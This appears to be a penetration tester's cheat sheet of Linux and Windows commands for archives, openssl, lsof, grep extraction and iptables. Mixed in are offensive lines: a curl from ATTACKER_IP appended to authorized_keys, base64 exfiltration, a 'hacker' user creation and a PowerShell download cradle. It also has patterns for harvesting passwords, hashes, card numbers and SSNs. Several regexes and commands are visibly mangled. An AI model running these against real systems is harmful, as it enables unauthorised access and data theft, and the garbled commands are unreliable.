Useful Linux Commands

Common Bash

#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/ >> ~/.ssh/authotized_keys
#Echo without new line and Hex
echo -n -e
wc -l <file> #Lines
wc -c #Chars
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget -O /dev/shm/
wget -P /dev/shm
curl -o /dev/shm/
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e " => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t [email protected] -f [email protected] -s -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
## ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
## Openssl
openssl s_client -connect #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" ([email protected])
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
## If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
##Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from wich package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it

Bash for Windows

#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O
python --onefile
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c


#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-][email protected][A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt
## Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-][email protected][a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
## Extract credit card data
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
## Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt

Nmap search help

#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"


#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done


#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP